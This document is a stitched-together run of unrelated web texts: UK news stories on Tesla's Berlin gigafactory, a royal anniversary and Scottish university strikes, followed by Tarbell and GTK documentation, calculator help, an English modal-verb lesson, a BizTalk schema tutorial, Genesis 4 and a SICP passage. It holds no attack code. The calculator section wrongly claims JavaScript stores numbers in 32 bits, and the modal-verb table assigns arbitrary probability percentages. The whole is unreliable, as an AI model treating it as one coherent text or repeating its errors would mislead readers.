Tesla to locate giant battery plant in Germany because of Brexit risks
Electric vehicle firm's boss Elon Musk reveals gigafactory will be built in Berlin because of ongoing uncertainty over UK withdrawal from EU
by Brett Gibbons, https://www.birminghammail.co.uk/authors/brett-gibbons/Electric vehicle manufacturer Tesla will build its European Gigafactory in Germany after UK consideration was canned over Brexit uncertainty.
Speaking at an award ceremony hosted by German motoring publication Auto Bild, Tesla boss Elon Musk revealed plans to erect the factory near Berlin.
He said: "Some of the best cars in the world are made in Germany, everyone knows that German engineering is outstanding. That's part of the reason why we're locating our Gigafactory Europe in Germany.
In an interview with Auto Express, Musk then added: "Brexit [uncertainty] made it too risky to put a Gigafactory in the UK"
The American electric car firm currently has large-scale 'Gigafactory' battery plans in the USA locations of Reno Nevada and Buffalo.
A third plant is under construction in the Chinese city of Shanghai, making the Berlin plant its fourth globally. No date of its opening has yet been given.
Tesla's EV line-up looks set to expand rapidly over the next few years. It currently offers the Model 3 and Model S saloons, alongside the Model X SUV.
Next year, the Model Y crossover is set for an introduction with the high-performance Roadster sports car due soon after. The firm is also planning a pick-up truck, along with an HGV.
West Midlands Mayor Andy Street is searching for a suitable site to locate a so-called gigafactory in a bid to put the region at the forefront of developing the next generation of the technology.


Get the client_secrets.json file if you don’t have it already. Use the fab newproject command to kick off a new project by copying a basic project structure and setting up a Google spreadsheet.
Tarbell uses the Google Drive API to create new spreadsheets, which requires going through a little OAuth2 song-and-dance. This is optional but highly recommended, in part because Tarbell will probably use this technique for all authentication and access in the future. If you want to skip this step and configure your spreadsheet manually, see Manually creating Google spreadsheets.
You ready? Let’s go.
In order to allow Tarbell to create new Google Spreadsheets, you’ll need to download a client_secrets.json file to access the Google Drive API. You can share this file with collaborators and within your organization, but do not share this file anywhere public.
Log in to the Google API Developer Console and create a new project:
Now click the “Services” tab and enable Google Drive API.
Click the “API Access” tab to create a client ID:
Add some project details. These don’t really matter:
This is the important screen. Select “installed app” and “other”:
Whew! Now you can download the client_secrets.json file:
Now put the file in the root directory of your Tarbell installation.
The first time you run fab newproject and answer yes to create a Google spreadsheet, your default browser will open and you will be prompted to grant your Tarbell client access to your API key.
The fab newproject command will prompt you if the client_secrets.json file doesn’t exist.
The first time you create a new project and spreadsheet, make sure you are not running any services on port 8080, such as MAMP. The Python Google API client library fires up a tiny little server on port 8080 to receive and store an access token during this cycle. Because the access token is stored, you won’t need to do again unless your token is revoked. You can restore any port 8080 services indefinitely.
Help us improve! We know this step is a little rocky. We’d like to make it smoother. If you are an OAuth or Google Drive API expert, we need your help. See #21 Improve OAuth workflow for newproject command and #22 Use Drive API in Tarbell library.
To create your first project, use the handy fab command:
fab newproject
You’ll be prompted with a series of questions. Here’s what you’ll see the first time you it with user input highlighted.
What is the directory name for the project? awesomeproject
What is your project's full title? Awesome project
Do you want a Google doc associated with this project? [Y/n]: y
Generating Google spreadsheet
What Google account should have access to this spreadsheet initially? (e.g<EMAIL_ADDRESS><EMAIL_ADDRESS>Authenticating your Google account to use Tarbell. If any services are running on
port 8080, disable them and run this command again.
Your browser has been opened to visit:
https://accounts.google.com/o/oauth2/auth?scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fdrive.file&redirect_uri=http%3A%2F%2Flocalhost%3A8080%2F&response_type=code&client_id=000000000000.apps.googleusercontent.com&access_type=offline
If your browser is on a different machine then exit and re-run this
application with the command-line parameter
--noauth_local_webserver
Authentication successful.
Success! View the spreadsheet at https://docs.google.com/spreadsheet/ccc?key=BIGLONGSPREADSHEETKEY90xlk39102k4
This spreadsheet is published in public on the web. To make it private
you'll need to configure the project's secrets.py file, disable
publishing using the 'Publish to the web' settings from the file menu,
and share the document with the account specified in secrets.py.
 [Y/n]: y
[localhost] local: git checkout master;
git checkout -b awesomeproject
M fabfile.py
M readme/docs/create.md
Already on 'master'
M fabfile.py
M readme/docs/create.md
Switched to a new branch 'awesomeproject'
[localhost] local: git add awesomeproject
[localhost] local: git commit -m "Started new project awesomeproject"
[awesomeproject cc2502a] Started new project awesomeproject
5 files changed, 212 insertions(+), 0 deletions(-)
create mode 100644 awesomeproject/config.py
create mode 100644 awesomeproject/secrets.py
create mode 100644 awesomeproject/static/css/style.css
create mode 100644 awesomeproject/static/js/app.js
create mode 100644 awesomeproject/templates/index.html
Welcome to Awesome project. Great work! What's next?
- Edit awesomeproject/config.py to set up template values and adjust project settings.
- Edit awesomeproject/secrets.py to configure Google spreadsheet authentication variables.
- Edit awesomeproject/templates/index.html to edit your default template.
- Edit awesomeproject/static/js/app.js to edit your default Javascript app.
- Run `python runserver.py` and view your project at http://localhost:5000/awesomeproject/
Run `fab deploy` and `fab project:projectname deploy` to deploy to S3 if you have a bucket configured.
Done.
To manually set up a Google spreadsheet for your project:
Create a new Google spreadsheet
Rename “Sheet1” to “values”
Add ‘key’ and ‘value’ column headers in the first row
Add the spreadsheet key in projectname/config.py
- Public access:
- Set the spreadsheet to ‘publish to the web’
- Private access:
- Grant access to a special user account (you’ll be storing password in the clear, so set up a new account for this)
- Add credentials to projectname/secrets.py


| Top |
GtkFileChooserNativeGtkFileChooserNative — A native file chooser dialog, suitable for “File/Open” or “File/Save” commands |
| GtkFileChooserNative * | gtk_file_chooser_native_new () |
| const char * | gtk_file_chooser_native_get_accept_label () |
| void | gtk_file_chooser_native_set_accept_label () |
| const char * | gtk_file_chooser_native_get_cancel_label () |
| void | gtk_file_chooser_native_set_cancel_label () |
GtkFileChooserNative is an abstraction of a dialog box suitable for use with “File/Open” or “File/Save as” commands. By default, this just uses a GtkFileChooserDialog to implement the actual dialog. However, on certain platforms, such as Windows, the native platform file chooser is uses instead. When the application is running in a sandboxed environment without direct filesystem access (such as Flatpak), GtkFileChooserNative may call the proper APIs (portals) to let the user choose a file and make it available to the application.
While the API of GtkFileChooserNative closely mirrors GtkFileChooserDialog, the main difference is that there is no access to any GtkWindow or GtkWidget for the dialog. This is required, as there may not be one in the case of a platform native dialog. Showing, hiding and running the dialog is handled by the GtkNativeDialog functions.
In the simplest of cases, you can the following code to use GtkFileChooserDialog to select a file for opening:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
GtkFileChooserNative *native; GtkFileChooserAction action = GTK_FILE_CHOOSER_ACTION_OPEN; gint res; native = gtk_file_chooser_native_new ("Open File", parent_window, action, "_Open", "_Cancel"); res = gtk_native_dialog_run (GTK_NATIVE_DIALOG (native)); if (res == GTK_RESPONSE_ACCEPT) { char *filename; GtkFileChooser *chooser = GTK_FILE_CHOOSER (native); filename = gtk_file_chooser_get_filename (chooser); open_file (filename); g_free (filename); } g_object_unref (native); |
To use a dialog for saving, you can use this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
GtkFileChooserNative *native; GtkFileChooser *chooser; GtkFileChooserAction action = GTK_FILE_CHOOSER_ACTION_SAVE; gint res; native = gtk_file_chooser_native_new ("Save File", parent_window, action, "_Save", "_Cancel"); chooser = GTK_FILE_CHOOSER (native); gtk_file_chooser_set_do_overwrite_confirmation (chooser, TRUE); if (user_edited_a_new_document) gtk_file_chooser_set_current_name (chooser, _("Untitled document")); else gtk_file_chooser_set_filename (chooser, existing_filename); res = gtk_native_dialog_run (GTK_NATIVE_DIALOG (native)); if (res == GTK_RESPONSE_ACCEPT) { char *filename; filename = gtk_file_chooser_get_filename (chooser); save_to_file (filename); g_free (filename); } g_object_unref (native); |
For more information on how to best set up a file dialog, see GtkFileChooserDialog.
GtkFileChooserNative inherits from GtkNativeDialog, which means it will return GTK_RESPONSE_ACCEPT if the user accepted, and GTK_RESPONSE_CANCEL if he pressed cancel. It can also return GTK_RESPONSE_DELETE_EVENT if the window was unexpectedly closed.
There are a few things in the GtkFileChooser API that are not possible to use with GtkFileChooserNative, as such use would prohibit the use of a native dialog.
There is no support for the signals that are emitted when the user navigates in the dialog, including:
You can also not use the methods that directly control user navigation:
gtk_file_chooser_unselect_filename()
gtk_file_chooser_select_all()
gtk_file_chooser_unselect_all()
If you need any of the above you will have to use GtkFileChooserDialog directly.
No operations that change the the dialog work while the dialog is visible. Set all the properties that are required before showing the dialog.
On windows the IFileDialog implementation (added in Windows Vista) is used. It supports many of the features that GtkFileChooserDialog does, but there are some things it does not handle:
Extra widgets added with gtk_file_chooser_set_extra_widget()
.
Use of custom previews by connecting to “update-preview”.
Any GtkFileFilter added using a mimetype or custom filter.
If any of these features are used the regular GtkFileChooserDialog will be used in place of the native one.
When the org.freedesktop.portal.FileChooser portal is available on the session bus, it is used to bring up an out-of-process file chooser. Depending on the kind of session the application is running in, this may or may not be a GTK+ file chooser. In this situation, the following things are not supported and will be silently ignored:
Extra widgets added with gtk_file_chooser_set_extra_widget()
.
Use of custom previews by connecting to “update-preview”.
Any GtkFileFilter added with a custom filter.
GtkFileChooserNative * gtk_file_chooser_native_new (const gchar *title
,GtkWindow *parent
,GtkFileChooserAction action
,const gchar *accept_label
,const gchar *cancel_label
);
Creates a new GtkFileChooserNative.
title |
Title of the native, or |
[allow-none] |
parent |
Transient parent of the native, or |
[allow-none] |
action |
Open or save mode for the dialog |
|
accept_label |
text to go in the accept button, or |
[allow-none] |
cancel_label |
text to go in the cancel button, or |
[allow-none] |
Since: 3.20
const char *
gtk_file_chooser_native_get_accept_label
(GtkFileChooserNative *self
);
Retrieves the custom label text for the accept button.
The custom label, or NULL
for the default. This string
is owned by GTK+ and should not be modified or freed.
[nullable]
Since: 3.20
void gtk_file_chooser_native_set_accept_label (GtkFileChooserNative *self
,const char *accept_label
);
Sets the custom label text for the accept button.
If characters in label
are preceded by an underscore, they are underlined.
If you need a literal underscore character in a label, use “__” (two
underscores). The first underlined character represents a keyboard
accelerator called a mnemonic.
Pressing Alt and that key activates the button.
self |
a GtFileChooserNative |
|
accept_label |
custom label or |
[allow-none] |
Since: 3.20
const char *
gtk_file_chooser_native_get_cancel_label
(GtkFileChooserNative *self
);
Retrieves the custom label text for the cancel button.
The custom label, or NULL
for the default. This string
is owned by GTK+ and should not be modified or freed.
[nullable]
Since: 3.20
void gtk_file_chooser_native_set_cancel_label (GtkFileChooserNative *self
,const char *cancel_label
);
Sets the custom label text for the cancel button.
If characters in label
are preceded by an underscore, they are underlined.
If you need a literal underscore character in a label, use “__” (two
underscores). The first underlined character represents a keyboard
accelerator called a mnemonic.
Pressing Alt and that key activates the button.
self |
a GtFileChooserNative |
|
cancel_label |
custom label or |
[allow-none] |
Since: 3.20


This is big data
Likely just a data problem
Stop / rethink the problem
How can data be summarized?
Reduce complexity
Only deal w/ really imprt. variables
APIs aren't always the answer
FTP
Flat file/Database dumps
Too big for R? -> use a database ...
These tools great for non-academia jobs
RStudio Server
It's like you're on your own computer
Inspecting data can be hard
Errors hard to find
if you can't read the file in, how do you find the errors
dates ~ the worst, right?
missing text here and there
file type problems/no reader for the type


William and Harry pay tribute to the Queen and Prince Philip on their 72nd wedding anniversary
An amazing milestone!
by Nancy BrownThe royal family have paid tribute to the Queen and Prince Philip on their 72nd wedding anniversary.
The couple married at Westminster Abbey in London on November 20 1947.
The Queen's grandson Prince William – and his wife the Duchess of Cambridge – were the first to offer their congratulations on the milestone.
They posted a black-and-white picture of the lovebirds on honeymoon in Hampshire, gazing at each other adoringly.
Read more: Meghan Markle is named the "most powerful dresser" of 2019
William and Kate also posted a more recent picture of the monarch, 93, and her husband, 98, laughing together.
The family's official Instagram account also sent its congratulations to the couple.
It posted a beautiful photo of the pair on their wedding day, waving to the crowds from the balcony of Buckingham Palace.
A recent picture of the Queen – looking pretty in pink – with a suited Philip was also posted.
And, although they have started their extended break, the Duke and Duchess of Sussex also sent the head of their family their warmest wishes.
Read more: Prince George and Princess Charlotte beg to attend night out with Will and Kate
Meghan and Harry posted a black-and-white picture of the pair being driven through the streets in an open-topped carriage.
"On this day 72 years ago, they were married at Westminster Abbey. Many congratulations!" the couple said.
"Happy anniversary to them and a lot of happiness," said one follower.
Another added: "Such an example of lifelong love and commitment. Incredible, inspiring and beautiful to see."
The anniversary comes a week after the Queen's former press secretary slammed Netflix show The Crown for suggesting the monarch had an affair.
Head to our Facebook page @EntertainmentDailyFix and send your well wishes to the Queen and Prince Philip.


| {{evaled.name}} | ||
|---|---|---|
| {{key}} | {{val.Tablesaw}} | {{val.RWD}} |
| Result: | {{conclusionrwd.resultSum[evaled.name]}} |
| Tablesaw | This one is impressive, the responsiveness is spectacular. What throws me off is the jquery because I am really looking at angularjs and some of the missing features, if this were pure jquery I would be VERY tempted. |
| RWD-Table-Patterns | This is the one if we go AngularJS. If we bring in the responsiveness of Tablesaw and some of the features of Datatables, we should have everything we need. |
One thing that quickly becomes obvious is that there is no single solution. The ideas above may be perfectly adequate for some cases and completely useless for others.Since "roll-your-own" is not an option I will not be trying the direct CSS approach, and a pure CSS solution I think will be lacking. Since, I like the Filament TableSaw approach over Zurb, I will evaluate Tablesaw and RWD-Table-Patterns to decide which to use.


| Stranded on an isolated desert road, two life-long friends fight for survival as their already strained relationship spirals into knife-wielding madness. | |
| Genres: | Drama, Thriller |
| Director: | Kevin Goetz, Michael Goetz |
| Writer: | Kyle Killen |
Cast: | Mitchell - Josh Duhamel Carter - Dan Fogler Old Man in Car - Peter Michael Goetz Annie - Christie Burson Tow Truck Driver - Jamie Donovan Joanne - Miracle Laurie Cole - Ethan Maher |


Click on numbers and functions in Calculator just as you would with a standard calculator.
When you click the add, subtract, multiply, or divide button (in scientific mode also:
yx, x√y, EE and the opened parenthesis), a white shadow appears around
the button to let you know the operation to be carried out.
This calculator uses an algebraic method of entry that allows you to enter mathematical sequences in
the same order that they are algebraically stated (PEMDAS / AOS™).
PEMDAS: "Parentheses, Exponents, Multiplication or Division, and Addition or Subtraction".
Multiplication and division have the same ranking. Addition and subtraction as well.
There is full keyboard support for each button on the calculator.
This calculator operates with a precision of 15 digits (only) after the decimal point. This is due to how
JavaScript handles floating point numbers.
This isn't actually a Javascript feature but a feature of the way the IEEE define how floating point
numbers are stored in memory. Any language using this definition suffers from this 'feature', for
instance C does as well and since JavaScript is often implemented in C so does JavaScript.
The problem is that Javascript is using 32 bits of data which have<PHONE_NUMBER> different combinations to
hold any value in the range 1.7976931348623158e+308 to 2.2250738585072014e–308.
It does this by using a smaller presision value and using some of the bits as a exponent (this can also
be done in 16 bits with a smaller range and less presision) which results in it being able to
approximate any value in the range but not exactly represent them all (because in real number terms the
are an infinaite number of values between any 2 given values).
As part of your calculcation clearly the internal representation of the value is going outside the
available presision and you are ending up with an approximation to the value instead of an exact value.


Strikes begin at these 12 Scottish universities
by Scotsman ReporterWorkers at 12 Scottish universities have begun the first of eight days of strike action amid rows over pensions plus pay and working conditions.
Members of the University and College Union (UCU) at 60 institutes across the UK are taking to the picket lines from Monday to Wednesday December 4.
The disputes centre on changes to the Universities Superannuation Scheme (USS) and issues including a failure to improve pay, equality, casualisation and workloads.
A rally is also planned to take place on Monday afternoon at Bristo Square in Edinburgh.
UCU Scotland official Mary Senior said: "Strike action is always the last resort, but universities' refusal to deal with the key issues of increased pension costs, pay and working conditions leave no alternative.
"It is unbelievable that universities have not done more to work with us to try and find a way to resolve these disputes.
"We're asking students to call on university principals to get their representatives back to the negotiating table for serious talks."
Eight universities in Scotland are involved in both disputes: Heriot-Watt, Aberdeen, Dundee, Stirling, Edinburgh, Glasgow, St Andrews and Strathclyde.
Three institutes - Glasgow Caledonian, Glasgow School of Art and Edinburgh's Queen Margaret University - are only part of the pay and conditions dispute.
The Scottish Association of Marine Science is also only in the USS pensions dispute.
Last month, members backed the action in ballots over both pensions and pay and working conditions, with turnouts in Scotland of 56.9% and 56.5% on the respective issues.

No agreement was reached with academic institution representatives ahead of the nationwide walkout.
Members will also begin "action short of a strike" on Monday, continuing when they return to work.
The universities striking over pensions, pay and conditions:
-Heriot-Watt University,
-University of Aberdeen,
-University of Dundee,
-University of Stirling,
-University of Edinburgh,
-University of Glasgow,
-University of St Andrews,
-University of Strathclyde
Universities taking action over pay and conditions only:
-Glasgow Caledonian University,
-Glasgow School of Art
-Queen Margaret University
University striking over pensions alone:
- Scottish Association for Marine Science


s6
Software
skarnet.org
The s6-instance-list program
s6-instance-list gives a list of all currently created instances of an
instanced service.
Interface
s6-instance-list servicedir
- s6-instance-list expects a running, supervised
instanced service in servicedir,
as well as an existing instance of this service named name.
- It prints to stdout, one per line, the names of all existing instances of servicedir, i.e.
the ones that have been created and not deleted. It does not matter if the instances are
up or down; if they've been created and not deleted, they're printed.
- It exits 0.
Exit codes
- 0: success
- 100: wrong usage
- 111: system call failed
Notes
- The list is unsorted, the instance names are printed in an unspecified order.
- You can use s6-instance-list to script commands that handle sets of instances.
For example, to get the status of all the instances of a given service, you could write:
for i in `s6-instance-list service` ; do printf "%s: " $i ; s6-instance-status service $i ; done


{% extends 'base.html' %} {% block title %} HOME {% endblock title %} {% block body %}
Receive secret messages from anyone.


Several modal verbs show possibility, including might, may, could, and must. We will shows you how to use them all correctly in English.
Modal Verb + Base Verb May/Might/Could/Must + Base Verb
Examples:
There are some degrees of possibility, we can use the corresponding modal verb according to the following table:
| Modal verb | Percentage of probability |
|---|---|
| Must | 100% |
| May | 95% |
| Could | 75% |
| Might | 50% |
| Can | 25% |
| Can't | 0% |


| date: | 2014/01/10 |
|---|
This release adds new pagination & date range filtering to Amazon Glacier, more support for selecting specific attributes within Amazon DynamoDB, security tokens from environment/config variables & many bugfixes/small improvements.
Made the usage of is/is not more consistent. (issue 1930, commit 8597c54)
Imported with_statement for old Python versions (issue 1975, commit a53a574)
Changed the Binary data object within DynamoDB to throw an error if an invalid data type is used. (issue 1963, issue 1956, commit e5d30c8)
Altered the integration tests to avoid connection errors to certain regions. (commit 2555b8a)
Changed the GCS resumable upload handler to save tracker files with protection 0600. (commit 7cb344c)
Documentation:
- Clarified documentation around the list_metrics call in CloudFormation. (issue 1962, commit c996a72)
- Added Tag to the Autoscale API docs. (issue 1964, commit 31118d9)
- Updated the AWS Support documentation to the latest. (commit 29f9264)


--- layout: page status: publish published: true title: BizTalk 2004 Flat File Schema Tutorial 2 author: display_name: Tomas Restrepo login: tomasr email<EMAIL_ADDRESS>url: http://winterdom.com/ author_login: tomasr author_email<EMAIL_ADDRESS>author_url: http://winterdom.com/ wordpress_id: 1085 wordpress_url: http://winterdom.com/?page_id=1085 date: '2009-04-28 02:04:09 +0000' date_gmt: '2009-04-28 02:04:09 +0000' categories: - Uncategorized tags: [] comments: [] ---
In this tutorial, I'll show you how to create a schema for a somewhat
more complex Flat File involving both delimited and positional records, and how
to use tags to distinguish between different possible records at one position
in the file.
Consider this example file:
CITYLIST
CSEATTLE WA00198776
SWASHINGTON WA
SARIZONA AZ
CTUCSON AZ89112299
.
MILKPRICES
SEATTLE 1000USD
TUCSON 19200USD
What this has is information about two different topics: A list of cities,
and milk prices, which form the two different parts of the file.
Each one is formed by a set of records, but the records in each one of
the parts is very different. Also, the first part (the list of cities) contains two
different kinds of records (one for Cities, and one for States).
Let's see the definition of the file in more detail:
The City Records are defined like this:
The State records are defined like this:
The Milk Price records are defined like this:
As you can see, this file, although simple in appearance, has a few interesting
challenges for parsing. First of all, it contains records of several kinds,
divided in two different sections. Also, it has both a delimited structure
(the sections are delimited among themselves by the '\r\n.\r\n' sequence) as
well as positional records. It also has a few interesting things, like paddings on a
few elements.
Let's start then to create a schema for it. Let's call this schema "MultiFile" ;)
For this schema, we'll configure the following properties:
| Property | Value |
|---|---|
| TargetNamespace | urn:schemas-winterdom-com:multifile |
| Case | Uppercase |
Our MultiFile schema will begin with a single root element, called MultiFile.
Since this node will contain both of our sections in the file, we want it to be
configured as a delimited record. We'll also want it to contain
an
to support the sections in any order. Here's how we'd configure it:
| Property | Value |
|---|---|
| Structure | Delimited |
| Child Order | Infix |
| Child Delimiter Type | Hexadecimal |
| Child Delimiter | 0x0D 0x0A 0x2E 0x0D 0x0A (\r\n.\r\n) |
Inside this root node, we'll insert our section records. Let's start with the CityList record, which we'll configure like this:
| Property | Value |
|---|---|
| Structure | Delimited |
| Tag Identifier | CITYLIST |
| Group Order Type | choice |
| Group Max Occurs | unbounded |
| Group Min Occurs | 0 |
| Preserve Delimiter for Empty Data | No |
| Child Order | Infix |
| Child Delimiter Type | Hexadecimal |
| Child Delimiter | 0x0D 0x0A (\r\n) |
This is where things start to get interesting. Notice how we use the Tag
Identifier property to tell BizTalk that it can recognize that the record is of
type CityList because it begins with the string CITYLIST (since we don't set the
Tag Offset property, it is assumed to be 0).
Now we need to insert two child records, one for the City record,
and one for the State record. For each one, we'll set up in our schema each field
in the record as an attribute of the City Node. Each one should be configured like
described below.
City
| Property | Value |
|---|---|
| Structure | Positional |
| Tag Identifier | C |
Fields:
Name
Justification Left
Pad Character ' ' (space)
Pad Character Type Character
Data Type xs:string
Positional Length 30
Positional Offset 1
State
Data Type xs:string
Positional Length 2
NumSewers
Justification Right
Pad Character 0
Pad Character Type Character
Data Type xs:int
Positional Length 8
State
| Property | Value |
|---|---|
| Structure | Positional |
| Tag Identifier | S |
Fields:
Name
Justification Left
Pad Character ' ' (space)
Pad Character Type Character
Data Type xs:string
Positional Length 30
Positional Offset 1
Initials
Data Type xs:string
Positional Length 2
Armed with this, we'd suppose we should now be able to parse this:
CITYLIST
CSEATTLE WA00198776
SWASHINGTON WA
SARIZONA AZ
CTUCSON AZ00002299
Right? Wrong! As you soon will have noticed, it fails.
The reason, well, simple, actually. The Tag for the CityList element is defined
as CITYLIST, not CITYLIST\r\n. So what BizTalk would parse right now would actually be this:
CITYLISTCSEATTLE WA00198776
SWASHINGTON WA
SARIZONA AZ
CTUCSON AZ00002299
One would think that by setting the Child Delimiter Order property of the CityList
node to "Prefix" would be enough, however, this is not true.
The reason for this is that, since there are no actual fields in CityList
(only child records), it simple won't recognize that delimiter there (nor insert it
if you generate an instance from vs.net). If there actually was a small
field just before the City and State records, it would be recognized as appropriate,
though. This seems to me to be a small bug, though, since it is definitely not what
one would expect.
So, what can we do about this?
In fact, afaik, there's no way to tell BizTalk that there's a
CR/LF following the tag, at least directly from the UI. One way I found
that works is to open up the XSD file directly in the text editor, find
the tag_name attribute for CityList with the value CITYLIST
. It's a
fun trick in that we basically encode the CR/LF pair using character entities.
I had a pleasant surprise to find it worked, but I definitely would like something better
in the UI that allowed this. (Before anyone asks, yes, I did try putting that directly
in the Tag Identifier property, but that won't work because BizTalk will encode
the character entity into &#0D; which doesn't work :().
Now, let's be honest... this is a bit of a hack, because we're basically
telling BizTalk that the tag is actually "CITYLIST\r\n", which we know ain't
the truth, but it works, and it's good enough for now.
Defining the rest of the document schema is very similar to what we've done so far.
We need to add the MilkPrices node under the root, configured like this:
| Property | Value |
|---|---|
| Structure | Delimited |
| Tag Identifier | MILKPRICES
 |
| Group Order Type | sequence |
| Preserve Delimiter for Empty Data | No |
| Child Order | Infix |
| Child Delimiter Type | Hexadecimal |
| Child Delimiter | 0x0D 0x0A (\r\n) |
Under MilkPrices, we'll insert a positional record to contain each price, as well as the necessary fields, as defined below:
MilkPrice
| Property | Value |
|---|---|
| Structure | Positional |
| Min Occurs | 0 |
| Max Occurs | unbounded |
CityName (Attribute Field)
Justification Left
Pad Character ' ' (space)
Pad Character Type Character
Data Type xs:string
Positional Length 30
Price (Attribute Field)
Justification Right
Pad Character ' ' (space)
Pad Character Type Character
Data Type xs:decimal
Positional Length 6
Currency (Attribute Field)
Justification Right
Pad Character ' ' (space)
Pad Character Type Character
Data Type xs:string
Positional Length 3
Now, however, we run into a little snag. Depending on how our schema is defined,
we can get into a case where either the schema fails to parse the sample file, or
in which only a single record within the CityList section is recognized, while the
rest is ignored.
The problem lies in the fact that, when you're defining the schema, you define,
in essence, a state machine (might not be entirely obvious). In our case,
the problem lies in the fact that the delimiters for both the MultiFile root node and
the CityList node begin with \r\n. So, what happens is that the parser will process
the first record inside CityList, and then find a \r\n. How will BizTalk know
that this \r\n it found means the end of the records inside CityList, or the beginning
of the delimiter for the MultiFile record?
Answer: it doesn't, so with our current configuration, the schema will fail
to parse completely.
The simplest way to fix this that I found was to define the CityList delimiter
to be postfix, and then change the delimiter in the MultiFile record to just
be ".\r\n". This would eliminate the ambiguity, while allowing us
to keep our file syntax.
You may have noticed that, so far, I've left one thing
out: How to make sure that BizTalk Server recognizes the decimal numbers in
the Price field of the MilkPrice record correctly. As it currently is, it
will not parse the decimal digits correctly, and will just lead to a number
that's a hundred times larger than it really is (there is no decimal separator
in the file format).
Well, honestly? I haven't found a way to make this work from within
the basic parser, there's just no property I can see that controls this.
Two options come to mind:
Here's how our schema looks in the end:


Paradox Interactive is a leading global publisher of
strategy games for PC and console. The company has developed and published
a world-renowned catalog stretching back to 1999, with players hailing
from all around the world.
The publisher’s steadily-growing portfolio includes firmly established
franchises such as the critically acclaimed Europa Universalis, Crusader
Kings, Hearts of Iron, and Stellaris series created by Paradox Development
Studio, the Age of Wonders series created by Triumph Studios, as well as
award-winning titles such as Cities: Skylines, Pillars of Eternity, and
more from a network of partner studios. Paradox also owns White Wolf
Interactive, though none of the publisher’s employees are vampires.
Paradox’s head offices are located in Stockholm, Sweden. Our development
studios are located in Stockholm, Malmö and Umeå, Sweden and in Delft,
The Netherlands. We share a passion for gaming and gamers, and our goal
is to provide deep and challenging games with hours of gameplay and endless
variety to our ever-growing community.


4
1 The man slept with Eve his wife. She conceived and gave birth to Cain. She said, "I have produced a man with Yahweh's help."
2 Then she gave birth to his brother Abel. Now Abel became a shepherd, but Cain worked the soil.
3 It came about that in the course of time Cain brought some of the fruit of the ground as an offering to Yahweh.
4 As for Abel, he brought some of the firstborn of his flock and some of the fat. Yahweh accepted Abel and his offering,
5 but Cain and his offering he did not accept. So Cain was very angry, and he scowled.
6 Yahweh said to Cain, "Why are you angry and why are you scowling?
7 If you do what is right, will you not be accepted? But if you do not do what is right, sin crouches at the door and desires to control you, but you must rule over it."
8 Cain spoke to Abel his brother, and while they were in the fields, Cain rose up against Abel his brother and killed him.
9 Then Yahweh said to Cain, "Where is Abel your brother?" He said, "I do not know. Am I my brother's keeper?"
10 Yahweh said, "What have you done? Your brother's blood is calling out to me from the ground.
11 Now cursed are you from the ground, which has opened its mouth to receive your brother's blood from your hand.
12 When you work the ground, from now on it will not yield to you its strength. A fugitive and a wanderer you will be in the earth."
13 Cain said to Yahweh, "My punishment is greater than I can bear.
14 Indeed, you have driven me out this day from this ground, and I will be hidden from your face.
15 Yahweh said to him, "If anyone kills Cain, vengeance will be taken on him sevenfold." Then Yahweh put a mark on Cain, so that if anyone found him, that person would not attack him.
16 So Cain went out from the presence of Yahweh and lived in the land of Nod, on the east of Eden.
17 Cain slept with his wife and she conceived. She gave birth to Enoch. He built a city and named it after his son Enoch.
18 To Enoch was born Irad. Irad became the father of Mehujael. Mehujael became the father of Methushael. Methushael became the father of Lamech.
19 Lamech took for himself two wives: the name of the one was Adah, and the name of the other was Zillah.
20 Adah gave birth to Jabal. He was the father of those who lived in tents who have livestock.
21 His brother's name was Jubal. He was the father of those who play the harp and pipe.
22 As for Zillah, she bore Tubal Cain, the forger of tools of bronze and iron. The sister of Tubal Cain was Naamah.
23 Lamech said to his wives,
"Adah and Zillah, listen to my voice; you wives of Lamech, listen to what I say.
For I have killed a man for wounding me, a young man for bruising me.
24 If Cain is avenged seven times as much, truly Lamech will be avenged seventy-seven times as much."
25 Adam slept with his wife again, and she bore another son. She called his name Seth and said, "God has given me another son in the place of Abel, for Cain killed him."
26 A son was born to Seth and he called his name Enosh. Then people began to call on the name of Yahweh.


A powerful programming language is more than just a means for instructing a computer to perform tasks. The language also serves as a framework within which we organize our ideas about processes. Thus, when we describe a language, we should pay particular attention to the means that the language provides for combining simple ideas to form more complex ideas. Every powerful language has three mechanisms for accomplishing this:
In programming, we deal with two kinds of elements: procedures and data. (Later we will discover that they are really not so distinct.) Informally, data is "stuff" that we want to manipulate, and procedures are descriptions of the rules for manipulating the data. Thus, any powerful programming language should be able to describe primitive data and primitive procedures and should have methods for combining and abstracting procedures and data.
In this chapter we will deal only with simple numerical data so that we can focus on the rules for building procedures.4 In later chapters we will see that these same rules allow us to build procedures to manipulate compound data as well.
One easy way to get started at programming is to examine some typical interactions with an interpreter for the Scheme dialect of Lisp. Imagine that you are sitting at a computer terminal. You type an expression, and the interpreter responds by displaying the result of its evaluating that expression.
One kind of primitive expression you might type is a number. (More precisely, the expression that you type consists of the numerals that represent the number in base 10.) If you present Lisp with a number
486
the interpreter will respond by printing5
486
Expressions representing numbers may be combined with an
expression representing a
primitive procedure (such as +
or *
) to form a
compound expression that represents the application of the procedure to
those numbers. For example:
(+ 137 349) 486 (- 1000 334) 666 (* 5 99) 495 (/ 10 5) 2 (+ 2.7 10) 12.7
Expressions such as these, formed by delimiting a list of expressions within parentheses in order to denote procedure application, are called combinations. The leftmost element in the list is called the operator, and the other elements are called operands. The value of a combination is obtained by applying the procedure specified by the operator to the arguments that are the values of the operands.
The convention of placing the operator to the left of the operands is known as prefix notation, and it may be somewhat confusing at first because it departs significantly from the customary mathematical convention. Prefix notation has several advantages, however. One of them is that it can accommodate procedures that may take an arbitrary number of arguments, as in the following examples:
(+ 21 35 12 7) 75 (* 25 4 12) 1200
No ambiguity can arise, because the operator is always the leftmost element and the entire combination is delimited by the parentheses.
A second advantage of prefix notation is that it extends in a straightforward way to allow combinations to be nested, that is, to have combinations whose elements are themselves combinations:
(+ (* 3 5) (- 10 6)) 19
There is no limit (in principle) to the depth of such nesting and to the overall complexity of the expressions that the Lisp interpreter can evaluate. It is we humans who get confused by still relatively simple expressions such as
(+ (* 3 (+ (* 2 4) (+ 3 5))) (+ (- 10 7) 6))
which the interpreter would readily evaluate to be 57. We can help ourselves by writing such an expression in the form
